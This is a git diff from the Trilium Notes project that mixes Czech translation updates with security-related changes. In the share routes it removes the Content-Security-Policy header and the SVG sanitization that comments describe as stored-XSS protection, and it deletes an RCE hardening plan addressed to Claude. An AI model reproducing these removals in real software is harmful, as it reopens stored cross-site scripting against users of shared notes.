expect(cannotSetHeadersCount).toBe(0);
expect(response.text).toContain("Content Start");
expect(response.text).toContain("Content End");
});
});

View File

@@ -145,13 +145,6 @@ function register(router: Router) {
addNoIndexHeader(note, res);
if (note.isLabelTruthy("shareRaw") || typeof req.query.raw !== "undefined") {
// For HTML and SVG content, add restrictive Content-Security-Policy
// to prevent stored XSS via script execution (CWE-79).
if (note.mime === "text/html" || note.mime === "image/svg+xml") {
res.setHeader("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; img-src * data:; font-src * data:");
res.setHeader("X-Content-Type-Options", "nosniff");
}
res.setHeader("Content-Type", note.mime).send(note.getContent());
return;
@@ -231,17 +224,10 @@ function register(router: Router) {
}
if (image.type === "image") {
// normal image
res.set("Content-Type", image.mime);
addNoIndexHeader(image, res);
if (image.mime === "image/svg+xml") {
// SVG images require sanitization to prevent stored XSS
const content = image.getContent();
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
setSvgHeaders(res);
res.send(sanitized);
} else {
res.set("Content-Type", image.mime);
res.send(image.getContent());
}
res.send(image.getContent());
} else if (image.type === "canvas") {
renderImageAttachment(image, res, "canvas-export.svg");
} else if (image.type === "mermaid") {
@@ -264,17 +250,9 @@ function register(router: Router) {
}
if (attachment.role === "image") {
res.set("Content-Type", attachment.mime);
addNoIndexHeader(attachment.note, res);
if (attachment.mime === "image/svg+xml") {
// SVG attachments require sanitization to prevent stored XSS
const content = attachment.getContent();
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
setSvgHeaders(res);
res.send(sanitized);
} else {
res.set("Content-Type", attachment.mime);
res.send(attachment.getContent());
}
res.send(attachment.getContent());
} else {
res.status(400).json({ message: "Requested attachment is not a shareable image" });
}

View File

@@ -12,7 +12,6 @@ import host from "./services/host.js";
import buildApp from "./app.js";
import type { Express } from "express";
import { getDbSize } from "./services/sql_init.js";
import { isScriptingEnabled } from "./services/scripting_guard.js";
const MINIMUM_NODE_VERSION = "20.0.0";
@@ -82,14 +81,6 @@ async function displayStartupMessage() {
log.info(`💻 CPU: ${cpuModel} (${cpuInfos.length}-core @ ${cpuInfos[0].speed} Mhz)`);
}
log.info(`💾 DB size: ${formatSize(getDbSize() * 1024)}`);
if (isScriptingEnabled()) {
log.info("WARNING: Script execution is ENABLED. Scripts have full server access including " +
"filesystem, network, and OS commands. Only enable in trusted environments.");
} else {
log.info("Script execution is DISABLED. Set [Scripting] enabled=true in config.ini to enable.");
}
log.info("");
}

View File

@@ -112,7 +112,8 @@
"header": {
"get-started": "Začít",
"documentation": "Dokumentace",
"support-us": "Podpořte nás"
"support-us": "Podpořte nás",
"resources": "Zdroje"
},
"footer": {
"copyright_and_the": " a ",
@@ -134,6 +135,74 @@
"buy_me_a_coffee": "Buy Me A Coffee"
},
"contribute": {
"title": "Další způsoby, jak přispět"
"title": "Další způsoby, jak přispět",
"way_translate": "Přeložte aplikaci do svého rodného jazyka prostřednictvím <Link>Weblate</Link>.",
"way_community": "Kontaktujte komunitu na <Discussions>GitHub Discussions</Discussions> nebo na <Matrix>Matrix</Matrix>.",
"way_reports": "Nahlaste chyby prostřednictvím <Link>GitHub issues</Link>.",
"way_document": "Vylepšujte dokumentaci tím, že nás upozorníte na její nedostatky, nebo přispějte do příruček, FAQ či návodů.",
"way_market": "Šířte dobrou věst: Sdílejte Trilium Notes s přáteli, na blogy nebo na sociální sítě."
},
"404": {
"title": "404: Nenalezeno",
"description": "Stránka, kterou jste hleděli, nebyla nalezena. Možná byla smazána nebo je URL adresa nesprávná."
},
"download_helper_desktop_windows": {
"title_x64": "Windows 64-bit",
"title_arm64": "Windows na ARM",
"description_x64": "Kompatibilní s zařízeními Intel nebo AMD s operačním systémem Windows 10 a 11.",
"description_arm64": "Kompatibilní s ARM zařízeními (např. s Qualcomm Snapdragon).",
"quick_start": "Pro instalaci pomocí Winget:",
"download_exe": "Stáhnout instalátor (.exe)",
"download_zip": "Přenosná verze (.zip)",
"download_scoop": "Scoop"
},
"download_helper_desktop_linux": {
"title_x64": "Linux 64-bit",
"title_arm64": "Linux na ARM",
"description_x64": "Pro většinu distribucí Linuxu, kompatibilní s architekturou x86_64.",
"description_arm64": "Pro distribuce Linuxu založené na ARM, kompatibilní s architekturou aarch64.",
"quick_start": "Vyberte vhodný formát balíčku podle vaší distribuce:",
"download_deb": ".deb",
"download_rpm": ".rpm",
"download_flatpak": ".flatpak",
"download_zip": "Přenosné (.zip)",
"download_nixpkgs": "nixpkgs",
"download_aur": "AUR"
},
"download_helper_desktop_macos": {
"title_x64": "macOS pro Intel",
"title_arm64": "macOS pro Apple Silicon",
"description_x64": "Pro Mac s procesorem Intel běžící pod macOS Monterey nebo novějším.",
"description_arm64": "Pro Mac s Apple Silicon, jako jsou modely s čipy M1 a M2.",
"quick_start": "Pro instalaci pomocí Homebrew:",
"download_dmg": "Stáhnout instalátor (.dmg)",
"download_homebrew_cask": "Homebrew Cask",
"download_zip": "Přenosná verze (.zip)"
},
"download_helper_server_docker": {
"title": "Vlastní hosting pomocí Docker",
"description": "Snadné nasazení na Windows, Linux nebo macOS pomocí Docker kontejneru.",
"download_dockerhub": "Docker Hub",
"download_ghcr": "ghcr.io"
},
"download_helper_server_linux": {
"title": "Vlastní hosting na Linuxu",
"description": "Nasazujte Trilium Notes na vlastním serveru nebo VPS, kompatibilní s většinou distribucí.",
"download_tar_x64": "x64 (.tar.xz)",
"download_tar_arm64": "ARM (.tar.xz)",
"download_nixos": "Modul pro NixOS"
},
"download_helper_server_hosted": {
"title": "Placený hosting",
"description": "Trilium Notes hostováno na PikaPods, placené službě pro snadný přístup a správu. Není přímo spojen s týmem Trilium.",
"download_pikapod": "Nastaveno na PikaPods",
"download_triliumcc": "Případně se podívejte na trilium.cc"
},
"resources": {
"title": "Zdroje",
"icon_packs": "Balíčky ikon",
"icon_packs_intro": "Rozšiřte výběr dostupných ikon pro své poznámky použitím balíčku ikon. Více informací o balíčcích ikon naleznete v <DocumentationLink>oficiální dokumentaci</DocumentationLink>.",
"download": "Stáhnout",
"website": "Webová stránka"
}
}

View File

@@ -7,6 +7,5 @@ To do so:
2. In `packages/commons` look for `dayjs.ts` and add a mapping for the new language in `DAYJS_LOADER`. Sort the entire list.
3. In `apps/client`, look for `collections/calendar/index.tsx` and modify `LOCALE_MAPPINGS` to add support to the new language.
4. In `apps/client`, look for `widgets/type_widgets/canvas/i18n.ts` and modify `LANGUAGE_MAPPINGS`. A unit test ensures that the language is actually loadable.
5. In `apps/client`, look for `widgets/type_widgets/MindMap.tsx` and modify `LOCALE_MAPPINGS`. The type definitions should already validate if the new value is supported by Mind Elixir.
6. In `packages/ckeditor5`, look for `i18n.ts` and modify `LOCALE_MAPPINGS`. The import validation should already check if the new value is supported by CKEditor, and there's also a test to ensure it.
7. Locale mappings for PDF.js might need adjustment. To do so, in `packages/pdfjs-viewer/scripts/build.ts` there is `LOCALE_MAPPINGS`.
5. In `packages/ckeditor5`, look for `i18n.ts` and modify `LOCALE_MAPPINGS`. The import validation should already check if the new value is supported by CKEditor, and there's also a test to ensure it.
6. Locale mappings for PDF.js might need adjustment. To do so, in `packages/pdfjs-viewer/scripts/build.ts` there is `LOCALE_MAPPINGS`.

272
docs/README-cs.md vendored
View File

@@ -124,123 +124,127 @@ Naše dokumenatce je dostupná ve vícero formátech:
motiv](https://docs.triliumnotes.org/user-guide/concepts/themes), podpora
uživatelských motivů
* [Evernote](https://docs.triliumnotes.org/user-guide/concepts/import-export/evernote)
and [Markdown import &
export](https://docs.triliumnotes.org/user-guide/concepts/import-export/markdown)
* [Web Clipper](https://docs.triliumnotes.org/user-guide/setup/web-clipper) for
easy saving of web content
* Customizable UI (sidebar buttons, user-defined widgets, ...)
* [Metrics](https://docs.triliumnotes.org/user-guide/advanced-usage/metrics),
along with a Grafana Dashboard.
a [import & export
Markdown](https://docs.triliumnotes.org/user-guide/concepts/import-export/markdown)
* [Webový výstřižek](https://docs.triliumnotes.org/user-guide/setup/web-clipper)
pro snadné ukládání webového obsahu
* Přizpůsobitelné UI (tlačítka bočního panelu, uživatelsky definované widgety,
...)
* [Metriky](https://docs.triliumnotes.org/user-guide/advanced-usage/metrics)
spolu s Grafana Dashboard.
Check out the following third-party resources/communities for more TriliumNext
related goodies:
Podívejte se na následující externí zdroje/komunity pro další vychytávky
související s TriliumNext:
- [awesome-trilium](https://github.com/Nriver/awesome-trilium) for 3rd party
themes, scripts, plugins and more.
- [TriliumRocks!](https://trilium.rocks/) for tutorials, guides, and much more.
- [awesome-trilium](https://github.com/Nriver/awesome-trilium) pro externí
motivy, skripty, pluginy a další.
- [TriliumRocks!](https://trilium.rocks/) pro návody, průvodce a mnohem více.
## ❓Why TriliumNext?
## ❓Proč TriliumNext?
The original Trilium developer ([Zadam](https://github.com/zadam)) has
graciously given the Trilium repository to the community project which resides
at https://github.com/TriliumNext
Původní vývojář Trilium ([Zadam](https://github.com/zadam)) štědře předal
repozitář Trilium komunitnímu projektu, který sídlí na
https://github.com/TriliumNext
### ⬆Migrating from Zadam/Trilium?
### ⬆Migrujete ze Zadam/Trilium?
There are no special migration steps to migrate from a zadam/Trilium instance to
a TriliumNext/Trilium instance. Simply [install
TriliumNext/Trilium](#-installation) as usual and it will use your existing
database.
Neexistují žádné speciální kroky pro migraci z instance zadam/Trilium na
instanci TriliumNext/Trilium. Jednoduše si [ nainstalujte
TriliumNext/Trilium](#-installation) jako obvykle a použije vaši stávající
databázi.
Versions up to and including
[v0.90.4](https://github.com/TriliumNext/Trilium/releases/tag/v0.90.4) are
compatible with the latest zadam/trilium version of
[v0.63.7](https://github.com/zadam/trilium/releases/tag/v0.63.7). Any later
versions of TriliumNext/Trilium have their sync versions incremented which
prevents direct migration.
Verze až do
[v0.90.4](https://github.com/TriliumNext/Trilium/releases/tag/v0.90.4) včetně
jsou kompatibilní s nejnovější verzí zadam/trilium
[v0.63.7](https://github.com/zadam/trilium/releases/tag/v0.63.7). Jakékoli
pozdější verze TriliumNext/Trilium mají zvýšené verze synchronizace, což brání
přímé migraci.
## 💬 Discuss with us
## 💬 Diskutujte s námi
Feel free to join our official conversations. We would love to hear what
features, suggestions, or issues you may have!
Nebojte se připojit k našim oficiálním konverzationím. Rádi uslyšíme vaše nápady
na funkce, návrhy nebo problémy!
- [Matrix](https://matrix.to/#/#triliumnext:matrix.org) (For synchronous
discussions.)
- The `General` Matrix room is also bridged to
- [Matrix](https://matrix.to/#/#triliumnext:matrix.org) (Pro synchron
diskuse.)
- Pokoj Matrix `General` je také propojen s
[XMPP](xmpp:discuss@trilium.thisgreat.party?join)
- [Github Discussions](https://github.com/TriliumNext/Trilium/discussions) (For
asynchronous discussions.)
- [Github Issues](https://github.com/TriliumNext/Trilium/issues) (For bug
reports and feature requests.)
- [Github Discussions](https://github.com/TriliumNext/Trilium/discussions) (Pro
asynchron diskuse.)
- [Github Issues](https://github.com/TriliumNext/Trilium/issues) (Pro hlášení
chyb a požadavky na funkce.)
## 🏗 Installation
## 🏗 Instalace
### Windows / MacOS
Download the binary release for your platform from the [latest release
page](https://github.com/TriliumNext/Trilium/releases/latest), unzip the package
and run the `trilium` executable.
Stáhněte si binární verzi pro svou platformu z [stránky s nejnovější
verzí](https://github.com/TriliumNext/Trilium/releases/latest), rozbalte balíček
a spusťte spustitelný soubor `trilium`.
### Linux
If your distribution is listed in the table below, use your distribution's
package.
Pokud je vaše distribuce uvedena v níže uvedené tabulce, použijte balíček pro
vaši distribuci.
[![Packaging
status](https://repology.org/badge/vertical-allrepos/triliumnext.svg)](https://repology.org/project/triliumnext/versions)
[![Stav
balení](https://repology.org/badge/vertical-allrepos/triliumnext.svg)](https://repology.org/project/triliumnext/versions)
You may also download the binary release for your platform from the [latest
release page](https://github.com/TriliumNext/Trilium/releases/latest), unzip the
package and run the `trilium` executable.
Můžete si také stáhnout binární verzi pro svou platformu ze [stránky s
nejnovější verzí](https://github.com/TriliumNext/Trilium/releases/latest),
rozbalit balíček a spustit spustitelný soubor `trilium`.
TriliumNext is also provided as a Flatpak, but not yet published on FlatHub.
TriliumNext je k dispozici také jako Flatpak, ale ještě není zveřejněn na
FlatHub.
### Browser (any OS)
### Prohlížeč (jakýkoli OS)
If you use a server installation (see below), you can directly access the web
interface (which is almost identical to the desktop app).
Pokud používáte serverovou instalaci (viz níže), můžete přistupovat přímo k
webovému rozhraní (které je téměř identické s desktopovou aplikací).
Currently only the latest versions of Chrome & Firefox are supported (and
tested).
Momentálně jsou podporovány (a testovány) pouze nejnovější verze Chrome &
Firefox.
### Mobile
### Mobilní zařízení
To use TriliumNext on a mobile device, you can use a mobile web browser to
access the mobile interface of a server installation (see below).
Chcete-li používat TriliumNext na mobilním zařízení, můžete použít mobilní
webový prohlížeč k přístupu k mobilnímu rozhraní instalace serveru (viz níže).
See issue https://github.com/TriliumNext/Trilium/issues/4962 for more
information on mobile app support.
Více informací o podpoře mobilní aplikace naleznete v issue
https://github.com/TriliumNext/Trilium/issues/4962.
If you prefer a native Android app, you can use
Pokud preferujete nativní aplikaci pro Android, můžete použít
[TriliumDroid](https://apt.izzysoft.de/fdroid/index/apk/eu.fliegendewurst.triliumdroid).
Report bugs and missing features at [their
repository](https://github.com/FliegendeWurst/TriliumDroid). Note: It is best to
disable automatic updates on your server installation (see below) when using
TriliumDroid since the sync version must match between Trilium and TriliumDroid.
Chyby a chybějící funkce hlaste v [jejím
repozitáři](https://github.com/FliegendeWurst/TriliumDroid). Poznámka: Při
používání TriliumDroid je nejlepší zakázat automatické aktualizace na vaší
instalaci serveru (viz níže), protože verze pro synchronizaci musí mezi Trilium
a TriliumDroid souhlasit.
### Server
To install TriliumNext on your own server (including via Docker from
[Dockerhub](https://hub.docker.com/r/triliumnext/trilium)) follow [the server
installation docs](https://docs.triliumnotes.org/user-guide/setup/server).
Chcete-li nainstalovat TriliumNext na svůj vlastní server (včetně pomocí Docker
z [Dockerhub](https://hub.docker.com/r/triliumnext/trilium)), postupujte podle
[dokumentace k instalaci
serveru](https://docs.triliumnotes.org/user-guide/setup/server).
## 💻 Contribute
## 💻 Přispějte
### Translations
### Překlady
If you are a native speaker, help us translate Trilium by heading over to our
[Weblate page](https://hosted.weblate.org/engage/trilium/).
Pokud jste rodilý mluvčí, pomozte nám s překladem Trilium tím, že navštívíte
naši [stránku Weblate](https://hosted.weblate.org/engage/trilium/).
Here's the language coverage we have so far:
Zde je aktuální pokrytí jazyky:
[![Translation
status](https://hosted.weblate.org/widget/trilium/multi-auto.svg)](https://hosted.weblate.org/engage/trilium/)
[![Stav
překladu](https://hosted.weblate.org/widget/trilium/multi-auto.svg)](https://hosted.weblate.org/engage/trilium/)
### Code
### Kód
Download the repository, install dependencies using `pnpm` and then run the
server (available at http://localhost:8080):
Stáhněte si repozitář, nainstalujte závislosti pomocí `pnpm` a poté spusťte
server (dostupný na http://localhost:8080):
```shell
git clone https://github.com/TriliumNext/Trilium.git
cd Trilium
@@ -248,10 +252,10 @@ pnpm install
pnpm run server:start
```
### Documentation
### Dokumentace
Download the repository, install dependencies using `pnpm` and then run the
environment required to edit the documentation:
Stáhněte si repozitář, nainstalujte závislosti pomocí `pnpm` a poté spusťte
prostředí vyžadované pro úpravu dokumentace:
```shell
git clone https://github.com/TriliumNext/Trilium.git
cd Trilium
@@ -259,9 +263,9 @@ pnpm install
pnpm edit-docs:edit-docs
```
### Building the Executable
Download the repository, install dependencies using `pnpm` and then build the
desktop app for Windows:
### Kompilace spustitelného souboru
Stáhněte si repozitář, nainstalujte závislosti pomocí `pnpm` a poté sestavte
desktopovou aplikaci pro Windows:
```shell
git clone https://github.com/TriliumNext/Trilium.git
cd Trilium
@@ -269,71 +273,69 @@ pnpm install
pnpm run --filter desktop electron-forge:make --arch=x64 --platform=win32
```
For more details, see the [development
docs](https://github.com/TriliumNext/Trilium/tree/main/docs/Developer%20Guide/Developer%20Guide).
Pro více podrobností navštivte [vývojovou
dokumentaci](https://github.com/TriliumNext/Trilium/tree/main/docs/Developer%20Guide/Developer%20Guide).
### Developer Documentation
### Vývojářská dokumentace
Please view the [documentation
guide](https://github.com/TriliumNext/Trilium/blob/main/docs/Developer%20Guide/Developer%20Guide/Environment%20Setup.md)
for details. If you have more questions, feel free to reach out via the links
described in the "Discuss with us" section above.
Podrobnosti naleznete v [průvodci
dokumentací](https://github.com/TriliumNext/Trilium/blob/main/docs/Developer%20Guide/Developer%20Guide/Environment%20Setup.md).
Pokud máte další dotazy, neváhejte nás kontaktovat prostřednictím odkazů
uvedených v sekci „Diskuse s námi“ výše.
## 👏 Shoutouts
## 👏 Poděkování
* [zadam](https://github.com/zadam) for the original concept and implementation
of the application.
* [Sarah Hussein](https://github.com/Sarah-Hussein) for designing the
application icon.
* [nriver](https://github.com/nriver) for his work on internationalization.
* [Thomas Frei](https://github.com/thfrei) for his original work on the Canvas.
* [antoniotejada](https://github.com/nriver) for the original syntax highlight
widget.
* [Dosu](https://dosu.dev/) for providing us with the automated responses to
GitHub issues and discussions.
* [Tabler Icons](https://tabler.io/icons) for the system tray icons.
* [zadam](https://github.com/zadam) za původní koncept a implementaci aplikace.
* [Sarah Hussein](https://github.com/Sarah-Hussein) za návrh ikony aplikace.
* [nriver](https://github.com/nriver) za jeho práci na internacionalizaci.
* [Thomas Frei](https://github.com/thfrei) za jeho původní práci na Plátně.
* [antoniotejada](https://github.com/nriver) za původní widget pro zvýrazňování
syntaxe.
* [Dosu](https://dosu.dev/) za poskytnutí automatických odpovědí na GitHub
issues a diskuse.
* [Tabler Icons](https://tabler.io/icons) za ikony v systémové oblasti.
Trilium would not be possible without the technologies behind it:
Trilium by nebyl možný bez technologií, které za ním stojí:
* [CKEditor 5](https://github.com/ckeditor/ckeditor5) - the visual editor behind
text notes. We are grateful for being offered a set of the premium features.
* [CodeMirror](https://github.com/codemirror/CodeMirror) - code editor with
support for huge amount of languages.
* [Excalidraw](https://github.com/excalidraw/excalidraw) - the infinite
whiteboard used in Canvas notes.
* [Mind Elixir](https://github.com/SSShooter/mind-elixir-core) - providing the
mind map functionality.
* [Leaflet](https://github.com/Leaflet/Leaflet) - for rendering geographical
maps.
* [Tabulator](https://github.com/olifolkerd/tabulator) - for the interactive
table used in collections.
* [FancyTree](https://github.com/mar10/fancytree) - feature-rich tree library
without real competition.
* [jsPlumb](https://github.com/jsplumb/jsplumb) - visual connectivity library.
Used in [relation
maps](https://docs.triliumnotes.org/user-guide/note-types/relation-map) and
[link
maps](https://docs.triliumnotes.org/user-guide/advanced-usage/note-map#link-map)
* [CKEditor 5](https://github.com/ckeditor/ckeditor5) - vizuální editor pro
textové poznámky. Jsme vděční za nabídku sady prémiových funkcí.
* [CodeMirror](https://github.com/codemirror/CodeMirror) - editor kódu s
podporou obrovského množství jazyků.
* [Excalidraw](https://github.com/excalidraw/excalidraw) - nekonečná bílá tabule
používaná v poznámkách typu Canvas.
* [Mind Elixir](https://github.com/SSShooter/mind-elixir-core) - poskytuje
funkcionalitu myšlenkových map.
* [Leaflet](https://github.com/Leaflet/Leaflet) - pro vykreslování geografických
map.
* [Tabulator](https://github.com/olifolkerd/tabulator) - pro interaktiv
tabulku používanou v kolekcích.
* [FancyTree](https://github.com/mar10/fancytree) - bohatá knihovna pro stromové
struktury bez skutečné konkurence.
* [jsPlumb](https://github.com/jsplumb/jsplumb) - knihovna pro vizuální
propojení. Používá se v [mapách
vazeb](https://docs.triliumnotes.org/user-guide/note-types/relation-map) a
[mapách
odkazů](https://docs.triliumnotes.org/user-guide/advanced-usage/note-map#link-map)
## 🤝 Support
## 🤝 Podpora
Trilium is built and maintained with [hundreds of hours of
work](https://github.com/TriliumNext/Trilium/graphs/commit-activity). Your
support keeps it open-source, improves features, and covers costs such as
hosting.
Trilium je vyvíjen a udržován s [úsilím stovek hodin
práce](https://github.com/TriliumNext/Trilium/graphs/commit-activity). Vaše
podpora pomáhá udržovat projekt jako open-source, vylepšuje funkce a pokrývá
náklady, jako je hosting.
Consider supporting the main developer
([eliandoran](https://github.com/eliandoran)) of the application via:
Zvažte podporu hlavního vývojáře ([eliandoran](https://github.com/eliandoran))
aplikace prostřednictvím:
- [GitHub Sponsors](https://github.com/sponsors/eliandoran)
- [PayPal](https://paypal.me/eliandoran)
- [Buy Me a Coffee](https://buymeacoffee.com/eliandoran)
## 🔑 License
## 🔑 Licence
Copyright 2017-2025 zadam, Elian Doran, and other contributors
Copyright 2017-2025 zadam, Elian Doran a ostatní přispěvatelé
This program is free software: you can redistribute it and/or modify it under
the terms of the GNU Affero General Public License as published by the Free
Software Foundation, either version 3 of the License, or (at your option) any
later version.
Tento program je volný software: můžete jej redistribuovat a/nebo upravovat za
podmínek GNU Affero General Public License, jak jej vydala Free Software
Foundation, buď ve verzi 3 této licence, nebo (volitelně) jakoukoli pozdější
verzi.

View File

@@ -1,590 +0,0 @@
# RCE Hardening - Defense in Depth Implementation Plan
> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task.
**Goal:** Prevent instant RCE from authenticated access by gating scripting behind a config flag, restricting `require()` to safe modules, adding auth to unauthenticated execution paths, and filtering dangerous attributes from sync.
**Architecture:** Add a `[Scripting]` section to config.ini with `enabled=false` default for server mode. Gate all script execution entry points behind this flag. Restrict `ScriptContext.require()` to a whitelist. Add auth middleware to `/custom/*`. Filter dangerous attributes during sync (same pattern as import's `safeImport`).
**Tech Stack:** TypeScript, Express middleware, Node.js `config.ini` system
---
## Task 1: Add `[Scripting]` config section
**Files:**
- Modify: `apps/server/src/services/config.ts` (add Scripting section to TriliumConfig, configMapping, and config object)
- Modify: `apps/server/src/assets/config-sample.ini` (add [Scripting] section)
**Step 1: Add Scripting section to TriliumConfig interface**
In `config.ts`, add to the `TriliumConfig` interface after `Logging`:
```typescript
/** Scripting and code execution configuration */
Scripting: {
/** Whether backend/frontend script execution is enabled (default: false for server, true for desktop) */
enabled: boolean;
/** Whether the SQL console is accessible (default: false) */
sqlConsoleEnabled: boolean;
};
```
**Step 2: Add configMapping entries**
Add after `Logging` in `configMapping`:
```typescript
Scripting: {
enabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_ENABLED',
iniGetter: () => getIniSection("Scripting")?.enabled,
defaultValue: false,
transformer: transformBoolean
},
sqlConsoleEnabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_SQLCONSOLEENABLED',
aliasEnvVars: ['TRILIUM_SCRIPTING_SQL_CONSOLE_ENABLED'],
iniGetter: () => getIniSection("Scripting")?.sqlConsoleEnabled,
defaultValue: false,
transformer: transformBoolean
}
}
```
**Step 3: Add to config object**
```typescript
Scripting: {
enabled: getConfigValue(configMapping.Scripting.enabled),
sqlConsoleEnabled: getConfigValue(configMapping.Scripting.sqlConsoleEnabled)
}
```
**Step 4: Update config-sample.ini**
Add at the bottom:
```ini
[Scripting]
# Enable backend/frontend script execution. WARNING: Scripts have full server access including
# filesystem, network, and OS commands via require('child_process'). Only enable if you trust
# all users with admin-level access to the server.
# Desktop builds override this to true automatically.
enabled=false
# Enable the SQL console (allows raw SQL execution against the database)
sqlConsoleEnabled=false
```
**Step 5: Commit**
```
feat(security): add [Scripting] config section with enabled=false default
```
---
## Task 2: Create scripting guard utility
**Files:**
- Create: `apps/server/src/services/scripting_guard.ts`
- Create: `apps/server/src/services/scripting_guard.spec.ts`
**Step 1: Write tests**
```typescript
// scripting_guard.spec.ts
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
describe("ScriptingGuard", () => {
it("should throw when scripting is disabled", async () => {
vi.doMock("./config.js", () => ({
default: { Scripting: { enabled: false, sqlConsoleEnabled: false } }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).toThrow("disabled");
});
it("should not throw when scripting is enabled", async () => {
vi.doMock("./config.js", () => ({
default: { Scripting: { enabled: true, sqlConsoleEnabled: false } }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).not.toThrow();
});
it("should throw for SQL console when disabled", async () => {
vi.doMock("./config.js", () => ({
default: { Scripting: { enabled: true, sqlConsoleEnabled: false } }
}));
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
expect(() => assertSqlConsoleEnabled()).toThrow("disabled");
});
});
```
**Step 2: Implement**
```typescript
// scripting_guard.ts
import config from "./config.js";
import { isElectron } from "./utils.js";
/**
* Throws if scripting is disabled. Desktop (Electron) always allows scripting.
*/
export function assertScriptingEnabled(): void {
if (isElectron || config.Scripting.enabled) {
return;
}
throw new Error(
"Script execution is disabled. Set [Scripting] enabled=true in config.ini or " +
"TRILIUM_SCRIPTING_ENABLED=true to enable. WARNING: Scripts have full server access."
);
}
export function assertSqlConsoleEnabled(): void {
if (isElectron || config.Scripting.sqlConsoleEnabled) {
return;
}
throw new Error(
"SQL console is disabled. Set [Scripting] sqlConsoleEnabled=true in config.ini to enable."
);
}
export function isScriptingEnabled(): boolean {
return isElectron || config.Scripting.enabled;
}
```
**Step 3: Run tests, verify pass**
**Step 4: Commit**
```
feat(security): add scripting guard utility
```
---
## Task 3: Gate script execution endpoints
**Files:**
- Modify: `apps/server/src/routes/api/script.ts` (add guard to exec, run, bundle endpoints)
- Modify: `apps/server/src/routes/api/sql.ts` (add guard to execute endpoint)
- Modify: `apps/server/src/routes/api/bulk_action.ts` (add guard to execute)
**Step 1: Gate `POST /api/script/exec` and `POST /api/script/run/:noteId`**
In `apps/server/src/routes/api/script.ts`, add at the top of `exec()` and `run()`:
```typescript
import { assertScriptingEnabled } from "../../services/scripting_guard.js";
async function exec(req: Request) {
assertScriptingEnabled();
// ... existing code
}
function run(req: Request) {
assertScriptingEnabled();
// ... existing code
}
```
**Step 2: Gate SQL console**
In `apps/server/src/routes/api/sql.ts`, add at the top of `execute()`:
```typescript
import { assertSqlConsoleEnabled } from "../../services/scripting_guard.js";
function execute(req: Request) {
assertSqlConsoleEnabled();
// ... existing code
}
```
**Step 3: Gate bulk action executeScript**
In `apps/server/src/services/bulk_actions.ts`, add guard inside the `executeScript` handler:
```typescript
import { assertScriptingEnabled } from "./scripting_guard.js";
executeScript: (action, note) => {
assertScriptingEnabled();
// ... existing code
}
```
**Step 4: Verify TypeScript compiles, run tests**
**Step 5: Commit**
```
feat(security): gate script/SQL execution behind Scripting.enabled config
```
---
## Task 4: Gate scheduler and event handler script execution
**Files:**
- Modify: `apps/server/src/services/scheduler.ts` (check isScriptingEnabled before running)
- Modify: `apps/server/src/services/handlers.ts` (check isScriptingEnabled in runAttachedRelations)
- Modify: `apps/server/src/routes/api/script.ts` (gate startup/widget bundle endpoints)
**Step 1: Gate scheduler**
In `scheduler.ts`, the `TRILIUM_SAFE_MODE` check already exists. Augment it with scripting check:
```typescript
import { isScriptingEnabled } from "./scripting_guard.js";
sqlInit.dbReady.then(() => {
if (!process.env.TRILIUM_SAFE_MODE && isScriptingEnabled()) {
setTimeout(cls.wrap(() => runNotesWithLabel("backendStartup")), 10 * 1000);
setInterval(cls.wrap(() => runNotesWithLabel("hourly")), 3600 * 1000);
setInterval(cls.wrap(() => runNotesWithLabel("daily")), 24 * 3600 * 1000);
// ...
}
});
```
**Step 2: Gate event handlers**
In `handlers.ts`, wrap `runAttachedRelations` with a scripting check:
```typescript
import { isScriptingEnabled } from "./scripting_guard.js";
function runAttachedRelations(note: BNote, relationName: string, originEntity: AbstractBeccaEntity<any>) {
if (!note || !isScriptingEnabled()) {
return;
}
// ... existing code
}
```
**Step 3: Gate frontend startup/widget bundles**
In `script.ts` (the route file), gate `getStartupBundles` and `getWidgetBundles`:
```typescript
import { isScriptingEnabled } from "../../services/scripting_guard.js";
function getStartupBundles(req: Request) {
if (!isScriptingEnabled()) {
return { scripts: [], superScripts: [] };
}
// ... existing code
}
```
**Step 4: Verify TypeScript compiles, run tests**
**Step 5: Commit**
```
feat(security): gate scheduler, event handlers, and frontend bundles behind Scripting.enabled
```
---
## Task 5: Add authentication to `/custom/*` routes
**Files:**
- Modify: `apps/server/src/routes/custom.ts` (add optional auth middleware)
**Step 1: Add auth check with opt-out**
The custom handler needs auth by default, but notes with `#customRequestHandlerPublic` label can opt out. Modify `handleRequest`:
```typescript
import auth from "./auth.js";
import { isScriptingEnabled } from "../services/scripting_guard.js";
function handleRequest(req: Request, res: Response) {
if (!isScriptingEnabled()) {
res.status(403).send("Script execution is disabled on this server.");
return;
}
// ... existing path parsing code ...
for (const attr of attrs) {
// ... existing matching code ...
if (attr.name === "customRequestHandler") {
const note = attr.getNote();
// Require authentication unless note has #customRequestHandlerPublic label
if (!note.hasLabel("customRequestHandlerPublic")) {
if (!req.session?.loggedIn) {
res.status(401).send("Authentication required for this endpoint.");
return;
}
}
// ... existing execution code ...
}
}
}
```
**Step 2: Add `customRequestHandlerPublic` to builtin attributes**
In `packages/commons/src/lib/builtin_attributes.ts`, add:
```typescript
{ type: "label", name: "customRequestHandlerPublic", isDangerous: true },
```
**Step 3: Verify TypeScript compiles**
**Step 4: Commit**
```
feat(security): require auth for /custom/* handlers by default, add #customRequestHandlerPublic opt-out
```
---
## Task 6: Restrict `require()` in ScriptContext
**Files:**
- Modify: `apps/server/src/services/script_context.ts` (add module whitelist)
**Step 1: Add module whitelist**
Replace the unrestricted `require()` fallback with a whitelist:
```typescript
// Modules that are safe for user scripts to require.
// These do NOT provide filesystem, network, or OS access.
const ALLOWED_MODULES = new Set([
// Trilium built-in modules (resolved via note titles, not Node require)
// -- these are handled before the fallback
// Safe utility libraries available in node_modules
"dayjs",
"marked",
"turndown",
"cheerio",
"axios", // already exposed via api.axios, but scripts may require it directly
"xml2js", // already exposed via api.xml2js
"escape-html",
"sanitize-html",
"lodash",
// Trilium-specific modules
